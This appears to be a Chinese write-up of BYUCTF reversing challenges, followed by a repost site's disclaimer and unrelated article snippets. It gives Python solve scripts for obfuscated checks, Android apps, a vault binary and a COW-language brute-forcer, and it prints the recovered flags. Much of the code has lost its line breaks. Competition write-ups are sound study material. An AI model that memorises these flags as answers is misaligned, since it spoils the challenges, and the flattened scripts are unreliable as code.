306:                                              ; preds = %295%307 = load ptr, ptr %2, align 8%308 = getelementptr inbounds i8, ptr %307, i64 33%309 = load i8, ptr %308, align 1%310 = sext i8 %309 to i32%311 = load ptr, ptr %2, align 8%312 = getelementptr inbounds i8, ptr %311, i64 32%313 = load i8, ptr %312, align 1%314 = sext i8 %313 to i32%315 = add nsw i32 %314, 1%316 = icmp eq i32 %310, %315br i1 %316, label %317, label %340

整理一下得到

def chk(v):v[4] == v[14] == v[17] == v[23] == v[25]v[9] == v[20]v[10] == v[18]v[11] == v[15] == v[24] == v[31] == v[27]v[13] == v[26]v[16] == v[29]v[19] == v[28] == v[32]v[36] == 125v[6] == 123v[7] - 32 == v[8]v[:6] == b'byuctf'v[9]+v[20] == v[31]+3v[31]+3 == v[0]v[10] == v[7]+6v[8] == v[9]+27v[12] == v[13]-1v[13] == v[10]-3v[10] == v[16]-1v[16] == v[14]-1v[35] == v[5]-2v[5] == v[21]-1v[21] == v[22]-1v[22] == v[28]*2v[33] == v[32]+1v[32]+1 == v[34]-3v[30] == v[7]+1

手动换个顺序

v = [-1]*37
for i,k in enumerate(b'byuctf'):v[i]=kv[36]=125
v[6]=123
v[31] = v[0]-3
v[14]=v[4]
v[17]=v[14]
v[23]=v[17]
v[25]=v[23]
v[16] = v[14]-1
v[10] = v[16]-1
v[13] = v[10]-3
v[12] = v[13]-1
v[7] = v[10]-6
v[8] = v[7]-32
v[9] = v[8]-27
v[20] = v[9]
v[18]=v[10]
v[31] = v[9]+v[20]-3
v[24] = v[31]
v[15] = v[24]
v[11] = v[15]
v[27] = v[31]
v[35] = v[5]-2 
v[26] = v[13]
v[29] = v[16]
v[21] = v[5]+1
v[22] = v[21]+1
v[28] = v[22]//2 
v[32] = v[28]
v[19] = v[28]
v[33] = v[32]+1
v[34] = v[32]+4
v[30] = v[7]+1bytes(v)
#byuctf{lL1r_not_str41ght_to_4sm_458d}

u

混淆的题,把函数变成UTF字符,手动变回

ù,ú,û,ü,ũ,ū,ŭ,ů,ű,ų,ṳ,ṷ,ụ=chr,ord,abs,input,all,print,len,input,pow,range,list,dict,set;ù=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125];u,U=3,256;ṷ=ü();ʉ=ṳ(ụ([ű(u,û,U) for û in(ų(U))]))[u:ŭ(ù)+u];ṳ=zip;ṷ=[ú(û) for û in(ṷ)];assert(ŭ(ù)==ŭ(ṷ));assert(ũ([û*ü==ū for û,ü,ū in(ṳ(ʉ,ṷ,ù))]));
cc=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125]
u,U=3,256
dict=input()
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
list=zip;
dict=[ord(abs) for abs in(dict)];
assert(len(chr)==len(dict));
assert(all([a*i==p for a,i,p in(list(v,dict,cc))]));#改为除法得到flag
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
r = [cc[i]//v[i] for i in range(len(cc))]
bytes(r)
#byuctf{uuuuuuu_uuuu_uuu_34845}

Baby Android 2

找到密文和换顺序的方法,直接找回

a = 'bycnu)_aacGly~}tt+?=<_ML?f^i_vETkG+b{nDJrVp6=)='
''.join([a[i*i%47] for i in range(23)])
#byuctf{c++_in_an_apk??}byuctf{e4_if_e_efcopukd0inrdccyat}

Baby Android 1

拿到一两个数字和一个字符,多组,里边有byuctf所以画成图看

a = [[420, 216, '}'],[616, 340, 't'],[ 556, 332, 'a'],[676, 368, 'y'],[500, 252, 'c'],[636, 348, 'c'],[436, 364, 'd'],[496, 348, 'r'],[536, 336, 'n'],[456, 360, 'i'],[536, 276, '0'],[516, 340, 'd'],[460, 232, 'k'],[656, 356, 'u'],[452, 320, 'p'],[476, 352, 'o'],[ 500, 300, 'c'],[596, 332, 'f'],[484, 308, 'e'],[436, 328, ' '],[516, 292, 'e'],[
536, 284, ' '],[536, 268, 'f'],[ 468, 316, 'i'],[516, 260, ' '],[480, 240, '4'],[440, 224, 'e'],[576, 324, '{']]from PIL import Image, ImageFont, ImageDrawimg = Image.new('RGB',(800,800), (255,255,255))
draw = ImageDraw.Draw(img)font = ImageFont.load_default()
for v in a:draw.text((v[1],v[0]), v[2], fill=(0,0,0), font=font)img.save('a.png')
#byuctf{androidpiece0fc4ke}
#byuctf{android_piece_0f_c4ke}

Bank Vault

这里C_0_0实际逆序后表示哪一位有效,C_1_1的整形数组的hibyte是flag但有些无效

  v23 = &v15;std::vector<bool>::vector(v14, &C_0_0, 84LL, &v15);std::__new_allocator<bool>::~__new_allocator(&v15);std::vector<bool>::vector(v13, v14);v22 = &v16;std::vector<unsigned int>::vector(v12, &C_1_1, 84LL, &v16);std::__new_allocator<unsigned int>::~__new_allocator(&v16);std::string::basic_string(v11);std::operator<<<std::char_traits<char>>(&_bss_start, "What's the password to the bank vault? ");std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v11);v27 = 0;std::vector<bool>::vector(v10);v25 = 0;for ( i = 0; ; ++i ){v5 = i;if ( v5 >= std::vector<unsigned int>::size(v12) )break;v17[0] = std::vector<bool>::back((__int64)v13);v17[1] = v3;v25 = std::_Bit_reference::operator bool(v17);v4 = HIWORD(*(_DWORD *)std::vector<unsigned int>::at(v12, i));v24 = (_BYTE)v4 == *(_BYTE *)std::string::operator[](v11, v27);if ( v25 )++v27;std::vector<bool>::push_back(v10, v24);std::vector<bool>::pop_back(v13);}
msg = open('bank','rb').read()
c = msg[0x5120:0x5120+84][::-1]
a = msg[0x5180:0x52d0]m = ''
i=0
while i <84:if c[i]:m+=chr(a[i*4+2])i+=1#byuctf{3v3n_v3ct0rs_4pp34r_1n_m3m0ry}

*moooo

cow esolang语言,与brainfuck有点像,多了几个符号,网上有解释器,但这里需要爆破,看了WP也不大明白,是通过最后的返回字符来判断。

from queue import PriorityQueue
import string
from typing import List, Optional# mostly takne from https://github.com/Mikhail57/cow-interpreter/blob/master/interpreter.py
class CowInterpreter:# Twelve COW commands, mapped by indexavailable_commands = ["moo",  # 0: loop end ("moo")"mOo",  # 1: move pointer left"moO",  # 2: move pointer right"mOO",  # 3: execute cell as instruction"Moo",  # 4: input/output char"MOo",  # 5: decrement cell"MoO",  # 6: increment cell"MOO",  # 7: loop start"OOO",  # 8: zero cell"MMM",  # 9: copy/paste register"OOM",  # 10: print int"oom",  # 11: read int]max_idx = 0output = b""def __init__(self, buffer=b"byuctf{") -> None:self.buffer = bufferself._cells: List[int] = [0] * 30000self._commands: List[int] = []self._ptr: int = 0         # data pointerself._cmd_ptr: int = 0     # instruction pointerself._register: Optional[int] = None# map command indices to handler methodsself._commands_to_functions = {0: self._handle_loop_end,1: self._move_to_prev_cell,2: self._move_to_next_cell,3: self._handle_current_as_instruction,4: self._print_or_read_char,5: self._decrement_current_cell,6: self._increment_current_cell,7: self._handle_loop_start,8: self._zero_current_cell,9: self._copy_or_paste_register,10: self._print_int,11: self._read_int,}def interpret(self, code: str):# tokenize program: split on whitespace and filter valid commandstokens = code.split()self._commands = [self.available_commands.index(t)for t in tokens if t in self.available_commands]self._ptr = 0self._cmd_ptr = 0while self._cmd_ptr < len(self._commands):cmd = self._commands[self._cmd_ptr]handler = self._commands_to_functions.get(cmd)if handler is None:raise Exception(f"Unknown command index {cmd}")handler()self._cmd_ptr += 1self.max_idx = max(self.max_idx, self._cmd_ptr)def _handle_loop_start(self):# "MOO": if current cell is zero, skip to matching loop end ("moo")if self._cells[self._ptr] == 0:# find matching loop-endself._cmd_ptr = self._get_loop_end(self._cmd_ptr)def _handle_loop_end(self):# "moo": if current cell != 0, jump back to matching loop start ("MOO")if self._cells[self._ptr] != 0:self._cmd_ptr = self._get_loop_start(self._cmd_ptr)def _zero_current_cell(self):self._cells[self._ptr] = 0def _move_to_prev_cell(self):if self._ptr == 0:raise IndexError("Data pointer moved before start of tape")self._ptr -= 1def _move_to_next_cell(self):self._ptr += 1if self._ptr >= len(self._cells):# expand tape if neededself._cells.append(0)def _handle_current_as_instruction(self):# "mOO": treat cell value as command index and execute itidx = self._cells[self._ptr]if idx < 0 or idx >= len(self.available_commands) or idx == 3:# idx == 3 would recurse infinitelyraise Exception(f"Invalid command index {idx} in cell for mOO")# execute without advancing cmd_ptr twiceself._commands_to_functions[idx]()def _print_or_read_char(self):# "Moo": if cell != 0, output char, else read charif self._cells[self._ptr] == 0:self._cells[self._ptr] = self.buffer[0]if len(self.buffer) > 1:self.buffer = self.buffer[1:]else:self.output += bytes([self._cells[self._ptr]])pass# print(chr(self._cells[self._ptr]), end='')def _decrement_current_cell(self):self._cells[self._ptr] -= 1def _increment_current_cell(self):self._cells[self._ptr] += 1def _copy_or_paste_register(self):# "MMM": copy into register or paste from registerif self._register is None:self._register = self._cells[self._ptr]else:self._cells[self._ptr] = self._registerself._register = Nonedef _print_int(self):# "OOM": print integer with no newlinepass# print(self._cells[self._ptr], end='')def _read_int(self):# "oom": read integer into cellval = chr(self.buffer[0])if len(self.buffer) > 1:self.buffer = self.buffer[1:]self._cells[self._ptr] = int(val)def _get_loop_end(self, start_idx: int) -> int:# find matching "moo" for "MOO" at start_idxdepth = 1i = start_idxwhile depth > 0:i += 1if i >= len(self._commands):raise IndexError("Loop start without matching loop end")if self._commands[i] == 7:  # another MOOdepth += 1elif self._commands[i] == 0:  # moodepth -= 1return idef _get_loop_start(self, end_idx: int) -> int:# find matching "MOO" for "moo" at end_idxdepth = 1i = end_idxwhile depth > 0:i -= 1if i < 0:raise IndexError("Loop end without matching loop start")if self._commands[i] == 0:  # moodepth += 1elif self._commands[i] == 7:  # MOOdepth -= 1return iwith open("main.cow", 'r') as f:code = f.read()
prog = b"byuctf{"
queue = PriorityQueue()
queue.put((0, prog))prev_max = 0max_by_pos = dict()while not queue.empty():idx, prog = queue.get()for i in string.digits + string.ascii_letters + string.punctuation:inp = prog + i.encode() + b'}'interpreter = CowInterpreter(inp)try:interpreter.interpret(code)print(inp, '->', interpreter.output[19:], interpreter.max_idx)except Exception as e:passif b'gotem' in interpreter.output:print("Found flag:", inp.decode())exit()ans = b"gotem"extra = 0for j in range(len(interpreter.output)-19):if interpreter.output[19+j] == ans[j]:extra += 2else:breakinterpreter.max_idx += extraif interpreter.max_idx > prev_max:print('new best', interpreter.max_idx, inp.decode())prev_max = interpreter.max_idxif interpreter.max_idx >= prev_max and len(prog + i.encode()) <= 38:queue.put((-interpreter.max_idx+len(prog + i.encode()), prog + i.encode()))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/906362.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

链表的面试题8之环形链表

许久不见&#xff0c;那么这是最后倒数第三题了&#xff0c;这道题我们来看一下环形链表。 老规矩贴链接&#xff1a;141. 环形链表 - 力扣&#xff08;LeetCode&#xff09; 目录 倒数第k个元素 获取中间元素的问题。 双指针 来&#xff0c;大致看一下题目&#xff0c;这…

在 JavaScript 中正确使用 Elasticsearch,第二部分

作者&#xff1a;来自 Elastic Jeffrey Rengifo 回顾生产环境中的最佳实践&#xff0c;并讲解如何在无服务器环境中运行 Elasticsearch Node.js 客户端。 想获得 Elastic 认证&#xff1f;查看下一期 Elasticsearch Engineer 培训的时间&#xff01; Elasticsearch 拥有大量新…

2025年网站安全防御全解析:应对DDoS与CC攻击的智能策略

2025年&#xff0c;随着AI技术与物联网设备的深度融合&#xff0c;DDoS与CC攻击的规模与复杂度持续升级。攻击者不仅利用T级流量洪泛冲击带宽&#xff0c;还通过生成式AI伪造用户行为&#xff0c;绕过传统防御规则。如何在保障业务高可用的同时抵御混合型攻击&#xff1f;本文将…

window 安装 wsl + cuda + Docker

WSL 部分参考这里安装&#xff1a; Windows安装WSL2 Ubuntu环境 - 知乎 如果出现错误&#xff1a; WslRegisterDistribution failed with error: 0x800701bc 需要运行&#xff1a;https://crayon-shin-chan.blog.csdn.net/article/details/122994190 wsl --update wsl --shu…

《MambaLLIE:基于隐式Retinex感知的低光照增强框架与全局-局部状态空间建模》学习笔记

Paper:2405.16105 Github:GitHub - wengjiangwei/MambaLLIE 目录 摘要 一、介绍 二、相关工作 2.1 低光图像增强 2.2 视觉空间状态模型 三、方法 3.1 预备知识 3.2 整体流程 3.3 全局优先-局部次之状态空间块 四、实验 4.1 基准数据集与实施细节 4.2 对比实验 4…

微信小程序:封装request请求、解决请求路径问题

一、创建文件 1、创建请求文件 创建工具类文件request.js,目的是用于发送请求 二、js接口封装 1、写入接口路径 创建一个变量BASE_URL专门存储api请求地址 2、获取全局的token变量 从缓存中取出token的数据 3、执行请求 (1)方法中接收传递的参数 function request(url,…

【单机版OCR】清华TH-OCR v9.0免费版

今天向大家介绍一款非常好用的单机版OCR图文识别软件&#xff0c;它不仅功能多&#xff0c;识别能力强&#xff0c;而且还是免费使用的。OCR软件为什么要使用单机版&#xff0c;懂得都懂&#xff0c;因为如果使用在线识别的OCR软件&#xff0c;用户需要将文档上传互联网服务器的…

开源情报搜集系统:科研创新的强大引擎

一、引言 在当今全球化和信息化高度发展的时代&#xff0c;科研活动面临着前所未有的机遇与挑战。一方面&#xff0c;知识的更新换代速度极快&#xff0c;科研成果如雨后春笋般不断涌现&#xff1b;另一方面&#xff0c;科研竞争日益激烈&#xff0c;如何在众多科研团队中脱颖…

产品生命周期不同阶段的营销策略

产品生命周期的不同阶段&#xff08;导入期、成长期、成熟期、衰退期&#xff09;需要匹配差异化的营销策略。以下是各阶段的营销重点及具体策略&#xff1a; 1. 导入期&#xff08;Introduction Stage&#xff09; 核心目标&#xff1a;建立市场认知&#xff0c;快速触达目标…

Mujoco 学习系列(二)基础功能与xml使用

这篇文章是 Mujoco 学习系列第二篇&#xff0c;主要介绍一些基础功能与 xmI 使用&#xff0c;重点在于如何编写与读懂 xml 文件。 运行这篇博客前请先确保正确安装 Mujoco 并通过了基本功能与GUI的验证&#xff0c;即至少完整下面这个博客的 第二章节 内容&#xff1a; Mujoc…

面向SDV的在环测试深度解析——仿真中间件SIL KIT应用篇

1.引言 在汽车行业向软件定义汽车&#xff08;SDV&#xff09;转型的过程中&#xff0c;传统硬件在环&#xff08;HIL&#xff09;测试方案因难以适应新的技术架构与需求&#xff0c;其局限性日益凸显。传统HIL对硬件依赖性强&#xff0c;扩展性差&#xff0c;更换ECU或传感器…

windows使用anaconda安装pytorch cuda版本

Windows安装PytorchCUDA环境_使用conda安装pytorch cuda10.2版本-CSDN博客

Axure中使用动态面板实现图标拖动交换位置

要在Axure中实现图标拖动交换位置的功能&#xff0c;可以通过动态面板结合交互事件来实现。 实现步骤 准备图标元素 将每个图标转换为动态面板&#xff08;方便拖动和交互&#xff09;。 设置拖动交互 选中图标动态面板 → 添加“拖动时”交互 → 选择“移动”当前动态面板&am…

从零开始的嵌入式学习day24

标准IO 头文件需求&#xff1a; #include <stdio.h>1.fopen和fclose (1)fopen fopen的函数功能是打开一个文件。 首先看看fopen的函数声明&#xff1a; FILE *fopen(const char *path, const char *mode);第一个参数path是文件地址&#xff0c;传入的是不可变的字符…

抓包分析工具与流量监控软件

目录 一、抓包分析工具&#xff1a;定位问题的“放大镜” 1.1 工作原理简述 1.2 主流工具盘点 1.3 抓包的实战应用 二、流量监控软件&#xff1a;网络全景的“雷达系统” 2.1 功能特征 2.2 常用工具概览 2.3 实战应用场景 五、结语&#xff1a;深入可见&#xff0c;安…

DRIVEGPT4: 通过大语言模型实现可解释的端到端自动驾驶

《DriveGPT4: Interpretable End-to-End Autonomous Driving via Large Language Model》 2024年10月发表&#xff0c;来自香港大学、浙江大学、华为和悉尼大学。 多模态大型语言模型&#xff08;MLLM&#xff09;已成为研究界关注的一个突出领域&#xff0c;因为它们擅长处理…

Vue3 Form 表单限制输入小写字母、数字和下划线

方案一&#xff1a;Element Plus 表单验证 <template><el-form :model"form" :rules"rules" ref"formRef" label-width"120px"><el-form-item label"用户名" prop"username"><el-input v-m…

23、电网数据管理与智能分析 - 负载预测模拟 - /能源管理组件/grid-data-smart-analysis

76个工业组件库示例汇总 电网数据管理与智能分析组件 1. 组件概述 本组件旨在模拟一个城市配电网的运行状态&#xff0c;重点关注数据管理、可视化以及基于模拟数据的智能分析&#xff0c;特别是负载预测功能。用户可以通过界面交互式地探索电网拓扑、查看节点状态、控制时间…

单片机复用功能重映射Remap功能

目录 一、查看“DS5319 stm32f10x中等密度mcu数据手册&#xff08;英文&#xff09;”手册 二、查看“RM0008 STM32F10xxx参考手册&#xff08;中文&#xff09;”手册 三、重映射&#xff08;Remap&#xff09;功能程序编写 自己学习过程中容易遗忘的知识点&#xff0c;记录…

链表面试题9之环形链表进阶

那么上一题我们已经知道了双指针的变法以及拓展的用法&#xff0c;那么这里我们直接难度升级。 想回去复习的这里放个链接&#xff1a;链表的面试题8之环形链表-CSDN博客 题目链接&#xff1a;142. 环形链表 II - 力扣&#xff08;LeetCode&#xff09; 我们来看这道题目主要…